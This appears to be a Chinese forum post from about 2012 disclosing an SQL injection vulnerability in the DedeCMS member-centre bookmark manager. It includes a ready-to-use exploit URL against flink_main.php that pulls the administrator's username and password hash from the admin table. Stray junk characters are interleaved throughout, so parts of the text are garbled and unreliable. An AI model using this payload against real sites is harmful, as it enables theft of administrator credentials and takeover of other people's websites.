DedeCMS会员中心SQL注射漏洞
' F# C- e. }! T需要magic_quotes_gpc = Off- l& _. _# x4 Z- @& T; Q
会员登录后可以执行SQL语句查询数据库任意内容如管理员密码.
5 \' b+ ~6 c* y* N3 o
% B( ?) ^$ x" W6 L. r, nDedeCMS会员中心书签管理SQL注射漏洞
3 M2 |% c& p# O! n( G- N成功利用该漏洞可获得管理员密码$ P5 ?# |: p& z. w
9 w* U, e/ G+ L' p+ r1 u/ I
会员登录后可以执行SQL语句查询数据库任意内容如管理员密码
/ l4 C6 E4 ]! ?* c9 a" f: r3 T " R" S$ f: T! G- T; ~
http://bt/member/flink_main.php?dopost=update&aid=1&title=c4rp3nt3r&url=http://www.0x50sec.org',title=@`'`,url=(select concat(userid,0x3a,pwd) from `%23@__admin` limit 1),title='c4rp3nt3r
& E. H. }9 T4 g6 q( i. }% e |
发表于 2012-12-31 09:21:18
收藏
支持
反对
发表于 2013-1-10 01:33:59